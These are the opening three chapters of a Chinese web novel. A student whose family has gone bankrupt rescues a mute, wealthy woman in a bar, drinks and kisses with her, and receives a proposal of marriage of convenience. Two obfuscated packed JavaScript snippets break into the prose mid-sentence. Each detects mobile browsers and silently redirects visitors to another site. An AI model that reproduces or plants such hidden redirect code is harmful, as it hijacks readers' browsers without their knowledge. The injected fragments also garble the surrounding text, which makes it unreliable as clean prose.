《好好做1》 1. 第 1 章 站在登记处门口,年弥之还有些难以置信。 她看着手里的licences,结婚许可,头脑还有些宿醉的疼痛与眩晕。 身边的人,她的新婚妻子,正乖巧的贴在她肩头。 她们不过认识一天多,而妻子却依顺的好像她们交往了四五年。 年弥之被她咬疼的耳朵根慢慢泛起红晕,她不由自主的回忆起她们的开始。 一天前。 【不好意思啊之之,我最近手头也不是很宽裕……】 第五次收到朋友的拒绝,年弥之坐在莫宁冠大学的椅子上,忍不住按住太阳穴。 长达两分钟的吐息后,她才得以恢复些许力气,打开手机银行,刷脸进入。 硕大的231几乎撕开她浑浊的视线,跳进她眼底。 这是她和弟弟这个月仅剩的生活费余额。而今天才九月八号。 以往每月五号家里都会准时汇入生活费。 年弥之家还算小有资产。她弟弟平时奢侈惯了,花钱如流水,到手就能花出去大半,年弥之一个人得负责她们两个人的生活费。 年弥之日常也有自己的社交圈需要维护,没有存钱习惯。 这也导致,这个月五号没有收到生活费,年弥之等了两天没忍住询问家里人,才得知家里生意出了大问题,资金链断裂。 简单来说就是,年弥之家里破产了,没法给她们这个月的生活费了。 这才有了年弥之到处求人借钱的情况。 没借到钱,手里只有两百刀的存款,冰箱里的食材只够两天的量,刚把做饭阿姨辞退,还欠了她几百刀的违约金。 年弥之都不知道自己和弟弟这个月该怎么活。 九月的曼城还带着秋燥,日光一点点移动落在年弥之背上,照得她背心发凉。 她额头满是冷汗,豆大的水滴裹着不知是泪是热的杂质,洒在手机屏幕上。 恰好花了震动模糊的来电显示。 年弥之花了好大力气才抬起手臂,抹开屏幕上的水,看见是父亲的来电,她努力忍下哽咽,赶在对方耐心耗尽挂断前一秒接通。 “之之,你那边怎么样了?”父亲博勤的声音多少带上些疲惫,没有往日的意气。 “没有……”年弥之听见自己嗓音的沙哑,赶紧清掉那点狼狈。 “没借到。”平时围在她身边的那些朋友,原来也不是真心的。大概是图她家里有点钱,或者是想要她的人脉。 “这样啊……”博勤一时间没了话。 父女隔着屏幕沉默,数千公里的大洋隔在她们之间,年弥之根本无法确定家里的实际情况。 她只是不想再给操劳的妈妈爸爸添麻烦,不愿多问。 十二个小时的时差足以让她无言,甚至想要快点结束这场通话。 国内已经夜深。既然暂时解决不了金钱的问题,就不要浪费时间沉默了。 “之之,是妈妈。”不过两分钟,年弥之还没来得及说出早点休息的话,电话那头的声音就换了。 女声也透露着浓浓的倦意,像连轴忙碌整整一周。 年弥之发誓前两年家里生意最忙的那个春节她母亲都不曾这般声线。 “妈。你们怎么样?”年弥之没忍住放轻声音,关切了一句。 年尚旗大概是摇了头,或者给了一个宽慰的笑。年弥之看不见电话那头的母亲,只能猜测她的反应。 “我们没事,但钱……”年尚旗重重的叹息着,锤在年弥之心口。 “之之,要不你回国吧?莫宁冠大学那么好,我们找个地方给你办转校。回国还能熬一段时间的。” 中美汇率摆在那里,家里大概还有点积蓄,只是没法供年弥之继续在曼城,全美最繁华的金融中心,全球消费水平数一数二的地方念完大学而已。 “那,拂远呢?”年弥之张着嘴又闭了好多次。她问出这个问题就该知道答案。 仰头看见的是曼城无云湛蓝的天空,莫宁冠大学百年历史的老图书馆。 坐落在校园中央如城堡般稳重的图书馆。刚入学那天年弥之还笑过它小气,直到日日夜夜在它之中学习、闲聊。年弥之才感受到一丝老钱味道的优雅、古典。 她可以对生活了两年多的校园说再见。 莫宁冠大学其实很小、很小。它经历了一些混乱,成为了北美少数几个封闭式校园,进出都得刷卡,校外人员来访还必须有校内人员帮忙申请、带领。 校园内楼宇都太老太旧。百年的历史带来的更多是不便与陈旧。有些教学楼甚至没有卫生间。 与其说年弥之对学校有感情,不如说她对认识的人,曼城的生活,或者说有钱的生活有感情。 可是…… 凭什么博拂远不回国? 高三加大学的开销明明更多! 就因为国内的高考更难?因为他习惯了阿维纽斯高中那种随性洒脱,多社交多课外活动的日子? “你弟弟他今年到底是高三……”年尚旗沉重的语气忽然带上点虚。 “那难道我不是大三?难道他念完这边的高中,你们会想他回国念大学?”国内外申请大学的方式从根本就不一样! 年弥之连骗都没法骗自己,弟弟肯定会留在国外一口气读完大学。而自己还有最多两年就要去上班赚钱了。 ……那博拂远读书的钱从哪儿来还挺好猜的哈。 哦,甚至家里万一欠了债,还债的钱从哪儿来也很好猜呢。 年弥之压住剧烈的呼吸,赶在母亲开口前打断她:“每次都是你说……我不要听你说。爸呢?” 博勤不得不接过电话面对女儿。 “小之,你就听爸一句劝吧。家里实在负担不起两个孩子的留学费用。回来看看也好啊,祖国的大好河山不美吗?回国了,我们还可以多见见你。” “你和拂远两年多没回家,家里变化很大的。那个徐文航,就是你小时候一起玩的那个小男生,他也搬回来了,前两天还说想见你,想请你吃饭呢。” 年弥之听见那个名字,眼皮都抽了一下。 她没挂断电话,任博勤在电话里念叨,而后打开微信界面找到这个姓徐的,试探着发了一条消息过去。 她看见了红色的感叹号。 她就知道!这个姓徐的前几年家里生意突然赚大了,成了暴发户。没几天他就把通讯录的人全删了,包括她。 就这还想见她……年弥之忽然想到一个可能。 她爹不会是想让她去相亲吧? “我不回。我有CPT签证能打工,我能养活自己。”年弥之几乎是被气笑着挂断了电话。 她甩了博勤脸色,对方自然不舒服,电话一个接一个的来。 年弥之不得不打开免打扰状态,长长的吐出一口气。 她想她这会儿眼睛肯定红了,兔子似的,真可怜。 多少年没有哭过了,没钱活不下去都没哭,只是因为家里偏心就哭,多脆弱……说到底,她又不是不知道这一点。 年弥之干脆从长椅上站起来,低着头避开形形色色的人的目光,漫无目的地在校园里走。 莫宁冠大学真的很小,她还没走过二十分钟就逛完了整个校园。 也算得上足够,堪堪二十分钟的时间,博勤就没有再给她打电话了…… 手机忽然多了几声震动。年弥之本来没理,震动持续了好一会儿,她突然想起来这好像是她设置的特别关心,她赶紧找了个阴影打开,看见自己好友发来的转账消息。 一个是她国内的闺蜜,给她转了两千块。另一个是她大一认识的好朋友,给她转了五百刀。 好友申请里甚至还挂了一个熟悉的名字,是高中时期帮她申请学校的学姐,问她是否安好,需不需要帮助。 她们都没有多说,也没有问她什么时候能还,反而发来拥抱的表情包。 还好她不是一无所有。 可年弥之突然就有些不太愿意领她们的钱。 *** 和内心缠斗了小半天。上完课,年弥之还是领了朋友们的钱,分别道谢。 她打算把这些钱转一部分给博拂远,自己留够一个月的伙食费就行。 可给博拂远发消息,他没回。 这个点他应该上完课了,该不会又跟他那群兄弟伙鬼混去了吧? 他不知道家里破产了吗?有钱吗就去混! 年弥之打开通讯录找到博拂远的好友,发去消息。 不过五分钟博拂远的电话就打了过来。 “姐,你给我朋友发消息干什么?说了不要跟他们问……”语气是明显的不耐烦。 年弥之甚至还能听见相当嘈杂的背景音。 “你在哪儿?家里这种情况你还有钱出去玩?”年弥之多少有些庆幸刚拿到的钱没来得及转给博拂远。 她弟弟就是在美高被惯得太厉害,又认识了一群爱玩的朋友。根本没把钱当钱,看什么都是买。 “啊?家里怎么了,不是说解决了吗?咱爹早上还给我打了两百块呢。” 博拂远挠着头,走到安静的地方压着听筒跟年弥之对话。 “……你在哪儿?”年弥之一口气差点没提起来。家里人瞒着博拂远就算了,竟如此溺爱,还给他打钱让他安心! 年弥之都不知道该对谁生气。 对博拂远?然后等他告状,等他继续装无辜,让年尚旗来骂自己一顿吗? 对年尚旗?然后继续听她多辛苦多操劳? 对博勤?他能给自己骂完的机会? 年弥之胸口快速喘着气,她按着人中,现在只想把违规去酒吧的未成年弟弟逮出去。 “呃……”博拂远不敢说地址。 “不说是吧?行。”年弥之手里有博拂远的手机定位。 她挂断电话骑上车就朝博拂远在的酒吧赶去。 曼城虽然奢靡、繁华,但也相当混乱。博拂远这样的未成年都能找到漏洞屡进酒吧。 年弥之头疼欲裂,还不得不专注骑车。 不多时她赶到酒吧,这酒吧真不查身份,她顶着高中生似的脸都能直接进门。 年弥之咬痛嘴唇保持清醒,还没走两步就听见疑似她弟弟的声音,还有那几个狐朋狗友。 他们聚在角落,手里还拿着酒杯,将一个人包围起来。 流里流气的,看着就让年弥之有些呼吸不畅。 等看清他们围着的是个混血面孔的女生,对方垂着眼眸攥着金棕色的长卷发,明显不情愿。 年弥之拽着博拂远的衣领,差点给他一巴掌。 “你们几个在做什么?”一天的压抑似乎有了发泄之处。 年弥之好歹接近一米八,在曼城也不算很矮。 加上愤怒带来的气场,尽管眼前几个都是成天打球吃蛋白粉的高中男生,年弥之也照样压了他们一头。 她一手一个,拎着衣领就把博拂远等人提到旁边罚站,帮那个被他们围着的女生解了困。 “她是我们朋友……”雀斑男似乎想要狡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556936|204465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辩,头低低的眼睛还在飘。 “不顾她意愿,还把她围起来,还敢说是朋友?谁这么对待朋友?我去找几个人把你围起来然后说你是我朋友,你答应吗?你们要脸吗?” 年弥之眼都快掉出眼眶,语气极快,尽管没有说脏话,可一番话也近乎谩骂。 那个雀斑男还想说点什么,余光看见那位长卷发女人手里捏了把反着寒光的小刀,忽然闭上嘴。 “还有你,说了你多少次不准来酒吧玩。你喝了多少?”年弥之管不了这几个狐朋狗友。 她转向博拂远,看着这张不知悔改的脸,真想给他几下。 “呃,没有……”博拂远装鹌鹑缩着头,开口一股酒气往外飘。 “爹给你的两百刀不会就花完了吧?”年弥之闻着酒气直皱眉。 “我回去写作业了!”博拂远夹着屁股挺胸抬头,都不敢看年弥之,转身就要跑。 “……行,那你这个月自己解决吧。”年弥之气出笑音了。 还好她没给他打钱。这个月博拂远自己抱着0存款过日子去吧。 “哎哎,姐你不能这样不管我啊,我不是你亲爱的弟弟吗?”博拂远脚步一顿,换回中文,转过头就想给年弥之装乖。 年弥之一巴掌拍在他背上。 “我也没钱,找你爹去。赶紧滚。” 博拂远带着狐朋狗友跑了。年弥之也不想管他们,毕竟这群人走出去的时候还在一轮眼前的可怜人,说什么可惜没要到联系方式…… 年弥之多听了一耳朵,她甚至还听见自家弟弟在谈论徐文航和她八字没一撇的亲事。 他居然还觉得徐文航挺好。 再热的心也该凉了。秋热冲血的脑袋终于冷下来,年弥之回过头,本想看看博拂远的眼。 她真的很想知道博拂远脑子里装的都是什么,她们不是亲人吗?他眼里有没有过自己? 可年弥之转头的时间太晚。她看见一阵混沌的酒风顺着耳刮过,带走身上最后一寸温度。 她只对上一双蓝眼睛。 湛蓝如曼城天空,因着酒吧澄黄的光,多了丝宝钻的火彩。 却又比真正的彩宝更朦胧,有着雾天的灰调,又更加清浅似溪。这让她深色的瞳仁更明显,好像蓄势待发的狼。 可眨眼,年弥之又看见她眼眶的红,润润的,秋水般楚楚可怜,眼尾一点深棕色的泪痣也被晕染出红彩。 是被她解围救下的混血女生,或者说女人。 年弥之才注意到她食指戴的戒指,以及长到小腿的卷发。 卷发略微编了下,真正放开应该会比现在更长。 年弥之难免想到童话中的长发公主,她们的发色都是同样的金棕,唯一不同的是眼前的女人头发更卷,更蓬松。她应当有好好打理过,卷发不乱,光泽感十足在乱灯下熠熠生辉,相当耀眼。 对方皮肤很白,到了稍微有些不自然的程度。可配上她玫瑰色的红晕,反而很有洋娃娃的感觉,衬得她精致漂亮。 “……你好?”年弥之以为她想道谢,于是尽可能放松了因为愤怒拧起的表情。 旋即她又闻到女人身上的酒气,一卡壳,想起来自家弟弟干的混账事。 年弥之深吸一口气,摆出一个有点刻意的微笑,迎上女人兔子样的眼。 “非常抱歉,我弟弟给你添麻烦了。”年弥之想到博拂远就牙疼,语气也带上些咬牙切齿。 女人一瞬不瞬的盯着年弥之,目光灼灼放在她眼睛里,甚至没有丝毫移动。 她清色的眼在暧昧的酒吧氛围里显得那样冷,可那抹可怜的红又叫人无法忽视。 矛盾的气质在她眼上绽开,化在眼尾变成她的泪痣。 这样冷的一个人,因为那颗泪痣带上悲悯、脆弱。 可她又相当执着,盯着年弥之不放,指尖还搓着年弥之的衣角,拽着她,好像小兔在找姐姐帮忙。 年弥之心神微晃。 “他,他不会还给你灌了酒吧?”不然这么乖的小姐姐身上怎么会有这么浓的酒气? 年弥之好不容易压下去的呼吸再次急促起来。 女人静默半天,在年弥之尴尬到脚趾要把鞋底抓开时,终于很轻的点了头。 这人怎么不说话呢?年弥之抿着嘴一时有些不知所措。 “我可以赔偿你。我该怎么做?送你回去?”她身上没有多少钱,可自家人造的孽她没法不管。 尤其女人这么乖…… 年弥之大概不信对方会提出多让人为难的要求。亦或者她只是被那双蓝眼迷了心神。 不然以她现在的经济状况,她应该趁机溜走的,就像她那滑手的弟弟。 女人却忽然牵起年弥之的手。恰好是那只戴着戒指的食指,恰好也是年弥之的无名指。 她拽了下年弥之的手,距离再次拉近。原本女人方才躲在年弥之身后,她们就近到年弥之可以闻到她身上的酒味。 此刻两个人几乎贴在一起。年弥之脚没站稳,一下矮了女人半个头。 这一瞬她闻到女人身上的香。 很复杂的香型。年弥之一时间没法描述。好像有着紫罗兰的热烈,松茶的清冷,混合起来就像女人湛蓝的眼,被烟尘朦胧,琢磨不透。 女人抱住年弥之的手臂,摇晃着跟她指了指旁边的吧台。 年弥之很肯定女人喝醉了。那抹红晕原来不只是被欺负的委屈,还有酒醉。 而女人的意思也很明显。 她要年弥之陪她一同烂醉。 2. 第 2 章 很奇怪。 明明都是酒气。 年弥之刚走进酒吧就觉得很难闻。 要不是她执着的想要带未成年弟弟离开,一定会被这样劣质的酒气熏晕。 甚至在眼前的女人贴过来之前,年弥之都有点头疼,太阳穴突突的,叫嚣着让她赶紧离开酒吧。 博拂远身上的酒味更臭。好像混合了热天的汗味,久闷在教室与连日不换的衣物臭成一团。年弥之想起她和生活阿姨怎么说博拂远都不肯爱干净,他非说这是他的男人味。 可金发蓝眼的女人贴过来这一瞬。 年弥之闻不到那让她头疼的酒臭了。 一点点清酒的味道仿佛被女人烈阳般的卷发烤出暖烘烘的香,是温热又安宁的味道,细嗅带了些转瞬即逝的心悸感。 女人身上的香是冷的,她的眼是冷的,酒也不热。 可她飘向年弥之鼻尖的香这么热。 年弥之还没来得及喝过酒。 别人当大人去酒吧去夜市,拉上三两好友做点危险又刺激的极限运动,去广袤的世界放飞自我。 年弥之当大人从家务和照顾人开始,忙的时候一天十个DDL还得去接博拂远放学守着他吃饭给他排周末的篮球赛。 被这宛如神造洋娃娃的女人牵到吧台,看着红的绿的紫的灯,看着柜子上一排排浅棕色深红色的酒,玻璃迷炫的反光。 年弥之真有些意动。 那些唱在歌里的叛逆不都是从一杯酒开始?疯狂和酒精和成熟好像是同义词。 年弥之甚至已经坐在了那玫瑰似的女人身边。 余光瞥着女人烧红的脸蛋,年弥之第一次理解到歌词里的Rosycheeks究竟有多贴切。 女人拿着菜单,跟正在炫技的酒保笑笑点单,还招呼了年弥之一下。 在看清酒名之后,年弥之还是拒绝了。 一大堆单词像曼城对她的审判。她盯着红丝绒,盯着华丽离婚,盯着皇后区失眠症,怎么都找不到属于她的那一个—— 一杯就要八十刀,小费最低20%……怎么不去抢?! “我没有喝过酒,可以换一个赔偿吗?”年弥之硬着头皮放下这菜单。 她现在可以肯定博拂远已经把那两百刀花完了。 两百刀啊。她去上西区的inwood那边能买一个月的食材了。哪怕八十刀省省也能用两个星期。 曼城奢靡又疯狂,可纽约到底那么大,穷人得有穷人的活法。 年弥之有好些学姐勤工俭学,她听了很多技巧。 冷香清冽着卷到年弥之身边。 明明两个高脚座位隔了一个人的距离,要她赔醉的女人却贴上她的肩膀。 下巴点在她胳膊上,仰着头看向她,兔子似的,眼眶嫣红得很漂亮。 也许是因为酒醉更浓,女人眼里反而不似方才的朦胧。浅灰色化作水汽,变得清澈。 好像有些天真。下一瞬袭来的酒气又为她添上点肃杀气质。 年弥之没动,这个不喜欢说话的女人就这么一瞬不瞬的盯着她。 她们贴的好近好甜蜜。是年弥之低头就可以吻到的距离。 被呼吸的热气扑到,年弥之稍抿嘴,想把她识别不出却本能不安的暧昧打散。 女人却忽然咧开嘴。 她怎么笑也没有声音? 可她转过头甩着冗长的卷发金灿灿的飘走。年弥之又好像听见了一阵孩童似的清脆声。 “等你喝完了,我可以送你回去……”年弥之按着被发丝牵扯出来的心悸,抿着被女人盯到发红的嘴唇,不自在的挪着眼神。 女人还是不说话。她笑吟吟的侧眼看着年弥之,身上的安静乖巧彻底被张扬替代。 她忽然伸出手,花似的翻飞起来,食指的戒指在香槟色的灯光下泛起同调火彩。 正巧,年弥之学过一点点手语,也正巧,她看懂了女人的意思。 ——陪我就好。 年弥之懵了一瞬忽然反应过来女人为何不说话。 原来是没有办法开口。 “那你能听见吧?”年弥之默认了女人的请求,挺不好意思的跟她确认。 女人点头。等酒保耍酷调制鸡尾酒的过程中,她甚至拿出手机跟年弥之打字。 【卿兮翎。你可以说中文。】 年弥之绷着额角抓紧脚趾,转过眼后觉得不太礼貌,又转回去,对着一直在看她的卿兮翎点头示意。 刚好她点的柠檬水到了。蹭了卿兮翎的消费,柠檬水免费。 *** 卿兮翎很能喝。 她好像不在乎这些酒水多少钱。也不在乎它们的味道。 年弥之在旁边细细品味一整杯柠檬水,卿兮翎坐在高椅上不停的换着酒种。 玛格丽特、长岛冰茶、迈泰、尼格罗尼,甚至那年弥之都听说过,甜比奶油,还腻得人发慌的白兰地亚历山大…… 她哪里挑剔,哪里品味。全都一股脑灌下肚,再把杯子随手一丢,也不管它是碎是好。 一轮又一轮下去。 卿兮翎的形象在年弥之心里一变再变。 几个小时前,看着她被博拂远他们围在角落倒酒,年弥之以为卿兮翎是那种比较安静柔软的妹妹,她第一眼甚至以为卿兮翎还没成年。 对上眼神后,年弥之又想,卿兮翎那么漂亮精致,瓷娃娃模样。 这样长的头发没有富贵是养不好的。而卿兮翎从五官头发到穿着饰品都富有情调。 她大概有钱有闲,甚至还有点胆量,拉着自己这个陌生人来陪醉。 如今年弥之只觉得卿兮翎疯狂。 有钱人的烦恼会是什么呢?年弥之想不到也懒得猜。 可一杯又一杯甜的苦的辣的酒下肚。卿兮翎周身的酒气没有变浓,反而是那让人心悸的香气越来越浓,冲刷着她身上安静与张扬的矛盾气质。 年弥之一次又一次,忍不住把眼神落在卿兮翎身上。 酒这么好喝吗?开场后卿兮翎一次都没有看向自己了。 年弥之想着记忆里这些酒的描述词,矛盾的味道会让人发痛。卿兮翎一定不是享受那些酒。 所以卿兮翎心里也装着什么事。 她们大概一样。都烦得不想与人倾诉,烦得必须找点什么来发泄、毁灭。 只是年弥之没钱,有后顾之忧。她无法像卿兮翎那样洒脱。 也没有她那么张扬疯狂。 年弥之看着菜单上的酒水。 几个小时前确认她不会点单,酒保就没有搭理过她了,还特地把菜单留在她面前,希望她回心转意似的。 贵的她点不起。可角落里还有一种叫“一杯清晨”的酒,二十刀不到。 年弥之想试试。 这么便宜的酒。和卿兮翎手里的贵酒会有区别吗?会更劣质,更难喝吗? 年弥之迎着卿兮翎投来的目光,轻笑着抬着杯子与她隔空轻碰。 连喝几个小时的卿兮翎第一次放下了酒杯,就这么盯着年弥之,好像喊她陪她时那样。 年弥之捏着澄色的一杯清晨,想学卿兮翎那样往嘴里灌。 第一口就把她呛得难受。 便宜没好货。被放在角落里的酒有它的原因。 它辣得年弥之喉头烧着疼,舌头都被刺激的跑了路,在口腔里上下弹跳。 所有的伤心事都被这一口烈酒刺激出来。 小时候被偷走的奖杯。没能送到家的礼物,绝交的朋友,被冤枉的苦。 十八岁远赴他乡留学,还带了个不能自理,从小被惯出富贵病的弟弟。 忙自己的学业忙到吐,还要被抢过博勤手机的年尚旗批判说没照顾好博拂远。 好不容易谈好一个RA,秋季的兼职工作,积累经验认识教授和学姐学哥,为以后找工作做准备。 家里破产了。她要被卖回国跟徐文航换钱。 年弥之捏着酒杯笑了好几声,是呛的,也是被眼泪牵扯出的。 原来是一杯买醉后醒来的痛苦清晨。 笑到眼泪呛进鼻子里。年弥之终于停下,毫不犹豫的把酒杯往嘴边送。 她没能碰到自己的嘴唇。 卿兮翎的手强势的挤开她的动作,缠着她的手臂与她交错。 两只手好像花园里纠缠的藤蔓拧成一团,乱麻一般怎么也分不开。 年弥之没有力气抵抗,由着这个神秘怪异的女人去了。 卿兮翎便带着她握着酒杯。金色的发丝落在手臂,被压向年弥之的脸庞。 她们交换酒水。如同婚礼时新人相缠着做交杯酒。 她们也是这般一饮而尽。 年弥之喝着卿兮翎点的白兰地亚历山大。甜腻的味道在口腔炸开。 这酒远没有描述的那样腻味,它分明比贵价的奶油更好喝。 卿兮翎眉头都不皱的喝完了那苦辣的一杯清晨。 不知她品到了怎样的伤心事,竟和年弥之一样笑了起来。 苦涩的,逞强的,可怜的笑。 开在她嘴角却好像一团连连绵绵的花。 雪莲的形,清幽的香,到底是什么花?和卿兮翎身上的香水味道一样。 一个呼之欲出的名字年弥之怎么也想不出来。 酒水彻底喝完,只剩泛着盈光的空杯时,年弥之忽然闻清楚卿兮翎身上的花香。 是叛逆、珍贵、疏懒。 一年只开两个瞬间的。 昙花。 卿兮翎甩掉酒杯,她倒在年弥之身上。 她扇动金丝一般的睫毛朝年弥之抬眸。 湛蓝的烟火向年弥之的黑眸炸开。 视线先接吻。 然后是嘴唇。 …… 年弥之觉得自己酒量挺差。 一口、一杯。竟然就醉了。 虽然她没晕没脸红。可如果不醉,为什么不推开陌生人的吻? 年弥之自认自己还没有被曼城改造的特别开放,她一次恋爱都没谈过呢。 而她们只认识了几个小时。只是坐在一起喝酒,一起心烦,一起把笑变成眼泪。 卿兮翎柔柔的吻过来。年弥之没有拒绝。 年弥之以为这样热烈的人多少会有些经验。 可卿兮翎的呼吸比她还乱。只有嘴唇被酒精泡软,咬起来甜丝丝的。 酒的辣都被卿兮翎藏匿,留给年弥之的只剩甘甜。 她们毫无章法的索取着,咬出绵绵的丝,轻轻的喘。 吻到最后卿兮翎主动从高椅上滑了下来,任由自己落入年弥之的臂膀。好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556937|204465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一次试探。 年弥之自然没有不管。她捞着卿兮翎的腰在酒精里学着接吻。 这比一杯清晨的滋味好多了,年弥之吻到最后甚至有了些贪恋。 她才刚无师自通的学会换气呢。 卿兮翎红得有些不太正常了,热热的粘着汗。 她发丝一丛一丛的抱着年弥之,大概也不想分开。 年弥之还是把可怜的兔子玩偶放回了她原本的座位上。 卿兮翎缅腆着朝年弥之笑了下,玫瑰色的脸颊让她好像开在金光里的花。 年弥之还没琢磨过来她的意思,就被她带着点了新的酒。 新的一轮,卿兮翎喝的还是那么混乱、疯狂。 可她给年弥之点的却全都甘甜清淡。 像她们的吻。 她们喝到腻味就接吻。 吻到断气就继续喝酒。 有人请客,年弥之放纵自我。 既然第一杯酒叫一杯清晨。 在天亮之前,那些烦恼都与她无关。 *** 年弥之分不清自己是喝得烂醉,还是亲得缺氧。 她晕晕乎乎的在洗手间把花掉的妆洗了,又把被卿兮翎咬肿的嘴唇擦干净,欲盖弥彰做贼心虚的拿口红把嘴角都涂满。 又把弄皱的外套理了理穿在身上。 这才从卫生间走出去。 酒吧要打烊了。装了一晚上的酒保正在收桌子洗酒杯。一路上年弥之看见好些躺在地上吐泡泡的醉泥儿。 什么人种都有,什么性别都有。年弥之觉得其中几个可能和博拂远一样,根本没成年。 这酒吧是真的乱…… 理智终于戳了戳年弥之的大脑。她想起来她该回去这件事。 年弥之回到吧台时,有群醉迷糊的男人勾肩搭背的,身子一抽一抽,正巧从卿兮翎身边路过。 年弥之加快脚步往卿兮翎身边走。 尽管吻的时候这个女人相当热烈、着急。力气似乎不小,还能把她拽向前好几下。又咬她,不知疲倦。 年弥之还是把对方当成可怜妹妹,情不自禁想照顾她。 照顾人这件事年弥之做多了,也没什么不舒服。 她想揭开大衣去暖卿兮翎的背,顺便罩住她。 卿兮翎在看见她时一下溜下座位,直愣愣的扒上她的背。 她整个人都贴上年弥之。 她们的距离比接吻更近。近半的身体紧密相黏。 柔软与温热让年弥之不适。 可到底是同性,年弥之没有太多难受,很快就适应了这样的亲密。 “走不动了吗?”年弥之哑着嗓子,调整出笑,还想去托身后的卿兮翎。 卿兮翎比她矮半个头,看起来薄薄一层,很好抱,换个裙子就和闺蜜最喜欢的人偶差不多。年弥之觉得自己肯定能背动她。 “我送你回去吧。给我一个地址?”年弥之都要往下蹲,方便卿兮翎团上来了。 她耳朵忽然被咬了一下。 熟悉的,尖利的,才用唇瓣斯磨过数次的牙齿落在年弥之耳垂上。想给她扎个耳洞。 年弥之讶然回头。 清晨朦胧的天光落在酒吧门口,周遭的路灯一只一只的灭。 背上的女人随着光影忽明忽灭,自己也成了模糊的影。 年弥之看不清她的眼。那双乍蓝乍灰的眼彻底被阴影覆盖。 她们还保持着拥抱的姿态贴在一起。昙花的清香悠悠着从身旁走过。 卿兮翎伸出一只手。她想要环抱年弥之,死死的勒住她的腰。 年弥之呼吸骤停了一秒,不知是配合还是惊诧。 她看见卿兮翎递来的不过一只手机。 那不是一个拥抱。卿兮翎只是把打好的字拿给年弥之看。 里面的内容,甚至称得上一句冒犯。 【我听见你和你弟弟的话了。 你来之前,他和他朋友以为我不懂中文,说了更多。 我知道你有困难。你并不想和那个徐某结婚。】 年弥之呼吸再也起伏不来。她甚至无法克制的放轻,哪怕快要窒息。 被冒犯的感觉太让年弥之熟悉,而她早已生活在其中,如今连半点獠牙都龇不出来。 她甚至没法问出一句“你想说什么”。 这么长一段话。卿兮翎不可能靠着拥抱的两秒打完。 方才的相拥好像甜蜜的贿赂,那样粘腻、紧密…… 她甚至能感觉到卿兮翎胸膛的起伏,耳畔还落下她一缕不乖巧的卷发。金灿灿的,比昙花还耀眼的卷发此刻还不知廉耻的黏在她脸上。 卿兮翎一定是趁着年弥之方才去卫生间的时候打的。 她可能早就想说这些话了……今晚的酒到底是狂欢还是补偿? 她又为何可以肯定自己不愿和徐文航结婚?那个吻是放纵还是试探? 【我也有难言之隐。所以,你要不要试试。】大概这段话太难打。卿兮翎手不断往下滑,翻了好几页,年弥之才看见新的句子。 【和我结婚】 【那样就没有人可以强迫你了。】 清晨的日光被装进酒杯又洒落在身上,与脸上的金色碎发融为一体。 年弥之嗅到今夜最浓郁的昙花香。 3. 第 3 章 直到坐上车,年弥之都还有些恍惚。 她方才没有立即给出卿兮翎一个回答。 结婚在她心里还是天大的事。哪怕留学前后她都没有考虑过结婚。 她很小的时候年尚旗牵着她的手走在街上,一字一句极其认真的教导她,说女孩子要有事业,要独立。她希望她能成才。 所以,年弥之想要读完研究生,甚至攻读博士。她梦想过进华尔街,几个投行……她也曾幻想过某一阵金融风暴中,她运筹帷幄着为她自己和公司夺来滔天的利益。 她的幻想里没有过婚姻或者男性。 或许是潜意识的排斥吧,她总觉得婚后年尚旗过的并不幸福。 哪怕她相册满是她的孩子,出门见人也能和谁都聊得起来,外人都说她好福气,儿女双全不用多受罪,女儿孝顺,男儿活泼,丈夫还疼爱她,甚至肯让女儿和她姓。 可照顾两个小孩的压力实在太大了。年尚旗又是接连怀孕,生完她几乎是马不停蹄的要了二胎。 因此年尚旗丢了工作,一直到年弥之和博拂远出国留学,年尚旗才重新回归社会,但至今最长的一份工作也没干过六个月。 年弥之垂着眼眸躲着车窗外飞驰的日光回忆,她记不清母亲教诲她时究竟是什么神情。悔恨?不甘?无奈?还是单纯的希望女儿能过得好,纯粹的祝福? 她一直把母亲的话装在心里牢牢记住。 可是,现在朝她发出婚姻邀请的,是一个女人。 一个和她也许有着同样烦恼的女人。 她刚刚才见识了她的痛苦。她们在烂醉里拥吻,不顾天地般拉出苦涩的丝,好像再不接吻明天就会来不及,世界就会毁灭。 她们的婚姻也许只是利益交换。也许不需要实际的感情和代价。 她可能也只是卿兮翎逃婚路上的一个意外,一枚棋子。 这样的婚姻还会变成负担吗? 胳膊被戳了戳。年弥之从沉寂中醒来,她眨眨眼就看见身边的卿兮翎凑得很近,又是那种快要贴上她的姿态,头低低的,眼一瞬不瞬,用让人发晕的湛蓝盯着她。 酒醉后年弥之才能看清卿兮翎脸上的细绒毛,还有她那比较独特的金棕色睫毛,和她头发是同一个色调,浅了她一双眼。 卿兮翎看到年弥之乖乖低下头对上视线,才挪回去,抽出手机跟她打字。 【先好好休息一下。或许你今天还有课?我们也可以再谈谈细节。】 年弥之应下了。她甚至拿出社交软件去跟卿兮翎加好友。 原本只想加ins的,卿兮翎自觉拿出微信二维码让她扫。 年弥之余光瞥着卿兮翎眼角的笑。这是一个相当细碎的笑容,没有邀她陪伴时的轻狂,没有喝酒时的张扬,甚至称不上安宁。笑容里明显藏了许多情绪。 可她应该是开心的吧?年弥之通过了好友申请,瞄到卿兮翎的金发都带上些流火光彩。 手机还剩56%的电。年弥之看车程还长,干脆打开来查看消息。 